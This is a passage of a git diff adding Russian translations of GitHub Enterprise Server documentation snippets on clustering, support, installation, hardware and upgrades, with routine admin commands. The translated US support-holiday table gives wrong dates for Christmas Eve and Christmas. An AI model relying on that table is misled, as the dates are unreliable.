`mysql-master` или `redis-master` на имя узла для замены. + + Например, в следующем измененном файле `cluster.conf` новый подготовленный узел кластера `ghe-replacement-data-node-1` указан в качестве основного узла MySQL и Redis: + +
+  mysql-master = ghe-replacement-data-node-1
+  redis-master = ghe-replacement-data-node-1
+  
diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-validate-config.md b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-validate-config.md new file mode 100644 index 000000000000..81b66c828dc1 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-validate-config.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1e72533f1f06ae6aaa25a2805f38fa27bd9f7335 +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878667" +--- +1. В административной оболочке узла, в котором вы изменили `cluster.conf`, выполните команду `ghe-cluster-config-apply`. Это позволит проверить файл конфигурации, скопировать его на каждый узел в кластере и отметить узел как автономный. diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/ssh-to-a-node.md b/translations/ru-RU/data/reusables/enterprise_clustering/ssh-to-a-node.md new file mode 100644 index 000000000000..82f13387ac8c --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/ssh-to-a-node.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6d7b04f469c58dbc9189baabc3c4773261031c14 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111776" +--- +1. Подключение к любому узлу в кластере по протоколу SSH. Дополнительные сведения см. в разделе [Доступ к административной оболочке (SSH)](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh). diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/without_proxy_protocol_ports.md b/translations/ru-RU/data/reusables/enterprise_clustering/without_proxy_protocol_ports.md new file mode 100644 index 000000000000..81f1120bbd35 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/without_proxy_protocol_ports.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 2967524d6c5a9c1c49437c58e4f5daef6645ca8a +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878666" +--- +### Сопоставления портов протокола TCP для использования без поддержки PROXY + +| Исходный порт | Конечный порт | Описание службы | +| :---: | :---: | :---: | +| 22 | 22 | Git по протоколу SSH | +| 25 | 25 | SMTP | +| 80 | 80 | HTTP | +| 443 | 443 | HTTPS | +| 8080 | 8080 | HTTP консоли управления | +| 8443 | 8443 | HTTPS консоли управления | diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/x-forwarded-for.md b/translations/ru-RU/data/reusables/enterprise_clustering/x-forwarded-for.md new file mode 100644 index 000000000000..6a2314c3dd93 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/x-forwarded-for.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 346aee71fb06f01bf9130c8b80039206816c106a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111768" +--- +Используйте протокол X-Forwarded-For **только** в том случае, если протокол PROXY недоступен. Заголовок `X-Forwarded-For` работает только с HTTP и HTTPS. IP-адрес, сообщаемый для подключений Git по протоколу SSH, будет представлять IP-адрес подсистемы балансировки нагрузки. diff --git a/translations/ru-RU/data/reusables/enterprise_deprecation/deprecation_details.md b/translations/ru-RU/data/reusables/enterprise_deprecation/deprecation_details.md new file mode 100644 index 000000000000..26dc61816a1b --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_deprecation/deprecation_details.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8252f61938f9ef134bf12c52ceb945758a402067 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145123779" +--- +Исправления выпускаться не будут даже при критических проблемах безопасности. Для повышения производительности, укрепления безопасности и новых функций установите последнюю версию GitHub Enterprise. +Чтобы получить справку по обновлению, обратитесь в службу поддержки GitHub Enterprise. diff --git a/translations/ru-RU/data/reusables/enterprise_deprecation/version_was_deprecated.md b/translations/ru-RU/data/reusables/enterprise_deprecation/version_was_deprecated.md new file mode 100644 index 000000000000..954410f6aa70 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_deprecation/version_was_deprecated.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5018901514d62b87e053602e40e527690bb9301a +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145111763" +--- +Поддержка этой версии GitHub Enterprise была прекращена diff --git a/translations/ru-RU/data/reusables/enterprise_deprecation/version_will_be_deprecated.md b/translations/ru-RU/data/reusables/enterprise_deprecation/version_will_be_deprecated.md new file mode 100644 index 000000000000..bc0c58a4240e --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_deprecation/version_will_be_deprecated.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0287b8f6f9f4760d7e8e227fb1c16a796e032a50 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123776" +--- +Поддержка этой версии GitHub Enterprise будет прекращена diff --git a/translations/ru-RU/data/reusables/enterprise_enterprise_support/installing-releases.md b/translations/ru-RU/data/reusables/enterprise_enterprise_support/installing-releases.md new file mode 100644 index 000000000000..38dda248f8a8 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_enterprise_support/installing-releases.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: dac747a0947a948943af15a57a8723d3f03c2e33 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107448" +--- +{% ifversion ghes %} + +## Установка выпусков {% data variables.product.prodname_ghe_server %} + +Чтобы обеспечить стабильность {% data variables.location.product_location %}, необходимо установить и реализовать выпуски {% data variables.product.prodname_ghe_server %}. Установка выпусков {% data variables.product.prodname_ghe_server %} гарантирует наличие последних функций, изменений и улучшений, а также обновлений компонентов, исправлений кода или других общих обновлений и исправлений для {% data variables.product.prodname_ghe_server %}. + +{% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise_enterprise_support/sign-in-to-support.md b/translations/ru-RU/data/reusables/enterprise_enterprise_support/sign-in-to-support.md new file mode 100644 index 000000000000..2dcd7ed6e92d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_enterprise_support/sign-in-to-support.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5a1410b9b41a6482822f75568cf37a3396795787 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123771" +--- +1. Если инженер службы поддержки предоставил вам ссылку для отправки пакета поддержки, используйте эту ссылку. В противном случае перейдите на страницу https://support.github.com/ и войдите (при появлении запроса) в учетную запись предприятия, у которой есть право на поддержку. diff --git a/translations/ru-RU/data/reusables/enterprise_enterprise_support/support-holiday-availability.md b/translations/ru-RU/data/reusables/enterprise_enterprise_support/support-holiday-availability.md new file mode 100644 index 000000000000..ac4a5a348764 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_enterprise_support/support-holiday-availability.md @@ -0,0 +1,22 @@ +--- +ms.openlocfilehash: 9c9d564f98a224e7f583767edfb38ea44a3cacd2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145198344" +--- +| Праздник в США | Дата | +| --- | --- | +| New Year's Day | 1 января | +| День Мартина Лютера Кинга | Третий понедельник января | +| Президентский день | Третий понедельник февраля | +| День поминовения | Последний понедельник мая | +| День независимости | 4 июля | +| День труда | Первый понедельник сентября | +| День ветеранов | 11 ноября | +| День благодарения | Четвертый четверг ноября | +| День после дня благодарения | Четвертая пятница ноября | +| Рождественский сочельник | 23 декабря | +| Рождество | 24 декабря | +| Канун Нового года | 31 декабря | diff --git a/translations/ru-RU/data/reusables/enterprise_enterprise_support/support_will_ask_you_to_run_command.md b/translations/ru-RU/data/reusables/enterprise_enterprise_support/support_will_ask_you_to_run_command.md new file mode 100644 index 000000000000..10d51786964c --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_enterprise_support/support_will_ask_you_to_run_command.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 906854ef15af8e87a5655a3b1b73324211c12558 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123752" +--- +Обычно вы будете выполнять эти действия только в том случае, если вы [обратились в службу поддержки](https://support.github.com/), и служба поддержки запросила выполнение этих действий. diff --git a/translations/ru-RU/data/reusables/enterprise_enterprise_support/upload-support-bundle.md b/translations/ru-RU/data/reusables/enterprise_enterprise_support/upload-support-bundle.md new file mode 100644 index 000000000000..b076623dcfdc --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_enterprise_support/upload-support-bundle.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 59c2a2e7af9567a13b8d8b0238bdd59a8acb9d9b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880495" +--- +1. Перейдите на страницу https://support.github.com/uploads и отправьте пакет поддержки. diff --git a/translations/ru-RU/data/reusables/enterprise_enterprise_support/use_ghe_cluster_support_bundle.md b/translations/ru-RU/data/reusables/enterprise_enterprise_support/use_ghe_cluster_support_bundle.md new file mode 100644 index 000000000000..d7256d1b099e --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_enterprise_support/use_ghe_cluster_support_bundle.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 0230f9c28aff46799a45e02080a3b33c5aa88d47 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146332211" +--- +{% note %} + +**Примечание.** При использовании конфигурации георепликации или кластеризации {% data variables.product.prodname_enterprise %} следует использовать команду `ghe-cluster-support-bundle` для получения пакета поддержки. Дополнительные сведения см. в статье "[Программы командной строки](/enterprise/admin/guides/installation/command-line-utilities/#ghe-cluster-support-bundle)". + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/enterprise_installation/about-adjusting-resources.md b/translations/ru-RU/data/reusables/enterprise_installation/about-adjusting-resources.md new file mode 100644 index 000000000000..40dac9b983b7 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/about-adjusting-resources.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fb3a06abf4baf854476bdbdedfcab46bd155100c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111739" +--- +Дополнительные сведения о настройке ресурсов для существующего экземпляра см. в разделах [Увеличение емкости хранилища](/enterprise/admin/installation/increasing-storage-capacity) и [Увеличение ресурсов ЦП или памяти](/enterprise/admin/installation/increasing-cpu-or-memory-resources). diff --git a/translations/ru-RU/data/reusables/enterprise_installation/add-ssh-key-to-primary.md b/translations/ru-RU/data/reusables/enterprise_installation/add-ssh-key-to-primary.md new file mode 100644 index 000000000000..f59025ed11bc --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/add-ssh-key-to-primary.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fa58184c30375185c4179ef628112f2cc3629ac6 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147785873" +--- +1. Чтобы добавить открытый ключ в список авторизованных ключей на основном устройстве, перейдите к `https://PRIMARY-HOSTNAME/setup/settings` и добавьте в список ключ, скопированный из реплики. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/aws-instance-recommendation.md b/translations/ru-RU/data/reusables/enterprise_installation/aws-instance-recommendation.md new file mode 100644 index 000000000000..8ff9197bf42e --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/aws-instance-recommendation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3073f471eba696637e4fe53b665fd75df10f3913 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111731" +--- +{% data variables.product.company_short %} рекомендует оптимизированный для памяти экземпляр для {% data variables.product.prodname_ghe_server %}. Дополнительные сведения см. в разделе ["Типы экземпляров Amazon EC2](https://aws.amazon.com/ec2/instance-types/#Memory_Optimized)" на веб-сайте Amazon EC2. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/azure-instance-recommendation.md b/translations/ru-RU/data/reusables/enterprise_installation/azure-instance-recommendation.md new file mode 100644 index 000000000000..53650aaa8b3c --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/azure-instance-recommendation.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: d8e7abc58e82244acc379f494ed50f40679117ef +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123728" +--- +Для устройства {% data variables.product.prodname_ghe_server %} требуется диск данных хранилища класса Premium, который поддерживается на любой виртуальной машине Azure, поддерживающей хранилище класса Premium. Типы виртуальных машин Azure с суффиксом `s` поддерживают хранилище класса Premium. Дополнительные сведения см. в разделах [Типы дисков, доступные в Azure](https://docs.microsoft.com/en-us/azure/virtual-machines/disks-types#premium-ssd). и [Хранилище Azure класса Premium: проектирование для высокой производительности](https://docs.microsoft.com/en-us/azure/virtual-machines/premium-storage-performance) в документации Azure. + +{% data variables.product.company_short %} рекомендует оптимизированную для памяти виртуальную машину для {% data variables.product.prodname_ghe_server %}. Дополнительные сведения см. в разделе [Размеры виртуальных машин, оптимизированных для памяти](https://docs.microsoft.com/en-us/azure/virtual-machines/sizes-memory) документации Azure. + +{% data variables.product.prodname_ghe_server %} поддерживает любой регион, поддерживающий ваш тип виртуальной машины. Дополнительные сведения о поддерживаемых регионах для каждой виртуальной машины см. в разделе [Доступные продукты по регионам](https://azure.microsoft.com/regions/services/). diff --git a/translations/ru-RU/data/reusables/enterprise_installation/changing-hostname-not-supported.md b/translations/ru-RU/data/reusables/enterprise_installation/changing-hostname-not-supported.md new file mode 100644 index 000000000000..e4582eb939d6 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/changing-hostname-not-supported.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: e62d670c2ac956a026f19caa00ed93b2f314953b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111723" +--- +{% warning %} + +**Предупреждение**. Не изменяйте имя узла для {% data variables.product.prodname_ghe_server %} после начальной настройки. Изменение имени узла приведет к непредвиденному поведению, вплоть до сбоев экземпляра. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/enterprise_installation/command-line-utilities-ghe-upgrade-rollback.md b/translations/ru-RU/data/reusables/enterprise_installation/command-line-utilities-ghe-upgrade-rollback.md new file mode 100644 index 000000000000..864bffac0a66 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/command-line-utilities-ghe-upgrade-rollback.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: fbdfcfcaaa18bfc373cbb256c0b22b2111784a13 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148009895" +--- +При откате обновления необходимо использовать файл пакета обновления с расширением *PKG*. Файлы пакетов горячих исправлений с расширением *HPKG* не поддерживаются. + +```shell +ghe-upgrade --allow-patch-rollback EARLIER-RELEASE-UPGRADE-PACKAGE.pkg +``` + +После выполнения этой команды требуется перезагрузка. Откат не влияет на секцию данных, так как миграция для выпусков исправлений не выполняется. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/configuration-recognized.md b/translations/ru-RU/data/reusables/enterprise_installation/configuration-recognized.md new file mode 100644 index 000000000000..231670e98be4 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/configuration-recognized.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 0eeab4f4dcb143add852e22c7c47c20e857cf007 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148009207" +--- +1. После полного перезапуска экземпляра и доступа к нему используйте административную оболочку SSH, чтобы убедиться, что новая конфигурация ресурса распознана: +```shell +$ ssh -p 122 admin@HOSTNAME +$ ghe-system-info +``` diff --git a/translations/ru-RU/data/reusables/enterprise_installation/copy-the-vm-public-dns-name.md b/translations/ru-RU/data/reusables/enterprise_installation/copy-the-vm-public-dns-name.md new file mode 100644 index 000000000000..696ea48f8be2 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/copy-the-vm-public-dns-name.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0d02ecd435b943645819f3ded45bd1e003bf025b +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111688" +--- +1. Скопируйте общедоступное DNS-имя виртуальной машины и вставьте его в адресную строку веб-браузера. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/create-attached-storage-volume.md b/translations/ru-RU/data/reusables/enterprise_installation/create-attached-storage-volume.md new file mode 100644 index 000000000000..4758d8e1f87c --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/create-attached-storage-volume.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9e50b90529bd8f7037f0e64100a48da243fe1187 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878822" +--- +1. Создайте новый виртуальный диск для использования в качестве подключенного тома хранилища для данных экземпляра и настройте размер в соответствии с количеством лицензий пользователей. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/create-ghe-instance.md b/translations/ru-RU/data/reusables/enterprise_installation/create-ghe-instance.md new file mode 100644 index 000000000000..4be66241e245 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/create-ghe-instance.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 36a1e0a9dc4a04df8943c92ce9bd1ef8c74f8eef +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111680" +--- +Чтобы создать экземпляр, необходимо импортировать образ {% data variables.product.prodname_ghe_server %} на виртуальную машину и подключить дополнительный том хранилища для данных экземпляра. Дополнительные сведения см. в разделе [Рекомендации в отношении оборудования](#hardware-considerations). diff --git a/translations/ru-RU/data/reusables/enterprise_installation/disable-github-pages-warning.md b/translations/ru-RU/data/reusables/enterprise_installation/disable-github-pages-warning.md new file mode 100644 index 000000000000..2cef998ccb3d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/disable-github-pages-warning.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 99435d735d5aee9e65a59620886bb930606d80f9 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111675" +--- +{% ifversion ghes %} {% warning %} + +**Предупреждение**. Если изоляция поддоменов отключена, также рекомендуется отключить {% data variables.product.prodname_pages %} в организации. Изолировать предоставленные пользователями данные {% data variables.product.prodname_pages %} от остальных данных организации невозможно. Дополнительные сведения см. в разделе [Настройка {% data variables.product.prodname_pages %} для организации](/enterprise/admin/guides/installation/configuring-github-pages-for-your-enterprise/). + +{% endwarning %} {% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise_installation/download-appliance.md b/translations/ru-RU/data/reusables/enterprise_installation/download-appliance.md new file mode 100644 index 000000000000..146031e3d9a5 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/download-appliance.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 833b2b247a2b9700361da2a98ffa90ba4e676a78 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879109" +--- +1. Перейдите к образу, который вы хотите использовать для нового экземпляра. + + - Перейдите к [заметкам о выпуске](/admin/release-notes). + - На правой боковой панели щелкните версию, которую вы хотите скачать. + - Щелкните **Скачать {% data variables.product.prodname_ghe_server %} X.X.X**. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/download-license.md b/translations/ru-RU/data/reusables/enterprise_installation/download-license.md new file mode 100644 index 000000000000..1ea338aacf2f --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/download-license.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a87d94ae12d9d9cd58c3ace411a9e66ff8501fe9 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111659" +--- +1. Скачайте лицензию. Дополнительные сведения см. в разделе [Скачивание лицензии для {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise). diff --git a/translations/ru-RU/data/reusables/enterprise_installation/download-note.md b/translations/ru-RU/data/reusables/enterprise_installation/download-note.md new file mode 100644 index 000000000000..666fdd8eded5 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/download-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: d435e6c0fdaac791e6663be5afa511b99365b3a3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146332171" +--- +{% note %} + +**Примечание**. Если включены автоматические проверки обновлений, вам не нужно скачивать пакет обновления: можно использовать файл, который был скачан автоматически. Дополнительные сведения см. в разделе [Включение автоматических проверок обновлений](/enterprise/admin/guides/installation/enabling-automatic-update-checks/). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/enterprise_installation/download-package.md b/translations/ru-RU/data/reusables/enterprise_installation/download-package.md new file mode 100644 index 000000000000..6dd819968151 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/download-package.md @@ -0,0 +1,4 @@ +1. Download the upgrade package to {% data variables.location.product_location %} using `curl `: +```shell +admin@HOSTNAME:~$ curl -L -O UPGRADE-PKG-URL +``` diff --git a/translations/ru-RU/data/reusables/enterprise_installation/enterprise-download-upgrade-pkg.md b/translations/ru-RU/data/reusables/enterprise_installation/enterprise-download-upgrade-pkg.md new file mode 100644 index 000000000000..4d78c57f95b2 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/enterprise-download-upgrade-pkg.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9772839d76e0984a719608a960c97972faa7cc5a +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878871" +--- +Перейдите на [страницу выпусков {% data variables.product.prodname_ghe_server %}](https://enterprise.github.com/releases). Рядом с выпуском, до которого вы обновляетесь, нажмите кнопку **Скачать**, а затем перейдите на вкладку **Обновление**. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/generate-replication-key-pair.md b/translations/ru-RU/data/reusables/enterprise_installation/generate-replication-key-pair.md new file mode 100644 index 000000000000..2f1fe2e1d51e --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/generate-replication-key-pair.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: df3445988ed807830450879898ac31b70a3d4a71 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148009887" +--- +7. Чтобы создать пару ключей для репликации, используйте команду `ghe-repl-setup` с IP-адресом основного устройства и скопируйте возвращенный ею открытый ключ. + ```shell + $ ghe-repl-setup PRIMARY_IP + ``` diff --git a/translations/ru-RU/data/reusables/enterprise_installation/ha-and-clustering-failure-scenarios.md b/translations/ru-RU/data/reusables/enterprise_installation/ha-and-clustering-failure-scenarios.md new file mode 100644 index 000000000000..4bee7679b4a8 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/ha-and-clustering-failure-scenarios.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 3f831f487921774e868fcff040ce1bf9ce33d226 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111608" +--- +- **Аварийное завершение программного обеспечения** из-за сбоя операционной системы или неустранимых ошибок приложений. +- **Сбои оборудования**, включая оборудование для хранения данных, ЦП, ОЗУ, сетевые интерфейсы и т. д. +- **Сбои системы узла виртуализации**, включая незапланированные и [запланированные события обслуживания в AWS](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-instances-status-check_sched.html). +- **Обрыв логической или физической структуры сети**, если резервное устройство находится в отдельной сети, не затронутой сбоем. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md b/translations/ru-RU/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md new file mode 100644 index 000000000000..1d514c4aae5e --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md @@ -0,0 +1,49 @@ +- [Minimum requirements](#minimum-requirements) +- [Storage](#storage) +- [CPU and memory](#cpu-and-memory) + +### Minimum requirements + +We recommend different hardware configurations depending on the number of user licenses for {% data variables.location.product_location %}. If you provision more resources than the minimum requirements, your instance will perform and scale better. + +{% data reusables.enterprise_installation.hardware-rec-table %} + +{% data reusables.actions.more-resources-for-ghes %} + +{% data reusables.enterprise_installation.about-adjusting-resources %} + +### Storage + +We recommend a high-performance SSD with high input/output operations per second (IOPS) and low latency for {% data variables.product.prodname_ghe_server %}. Workloads are I/O intensive. If you use a bare metal hypervisor, we recommend directly attaching the disk or using a disk from a storage area network (SAN). + +Your instance requires a persistent data disk separate from the root disk. For more information, see "[System overview](/enterprise/admin/guides/installation/system-overview)." + +{% ifversion ghes %} + +To configure {% data variables.product.prodname_actions %}, you must provide external blob storage. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server##external-storage-requirements)." + +{% endif %} + +The available space on the root filesystem will be 50% of the total disk size. You can resize your instance's root disk by building a new instance or using an existing instance. For more information, see "[System overview](/enterprise/admin/guides/installation/system-overview#storage-architecture)" and "[Increasing storage capacity](/enterprise/admin/guides/installation/increasing-storage-capacity)." + +### CPU and memory + +The CPU and memory resources that {% data variables.product.prodname_ghe_server %} requires depend on the levels of activity for users, automations, and integrations. + +{% ifversion ghes %} + +If you plan to enable {% data variables.product.prodname_actions %} for the users of your {% data variables.product.prodname_ghe_server %} instance, you may need to provision additional CPU and memory resources for your instance. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)." + +{% endif %} + +{% data reusables.enterprise_installation.increasing-cpus-req %} + +{% warning %} + +**Warning:** We recommend that users configure webhook events to notify external systems of activity on {% data variables.product.prodname_ghe_server %}. Automated checks for changes, or _polling_, will negatively impact the performance and scalability of your instance. For more information, see "[About webhooks](/github/extending-github/about-webhooks)." + +{% endwarning %} + +For more information about monitoring the capacity and performance of {% data variables.product.prodname_ghe_server %}, see "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)." + +You can increase your instance's CPU or memory resources. For more information, see "[Increasing CPU or memory 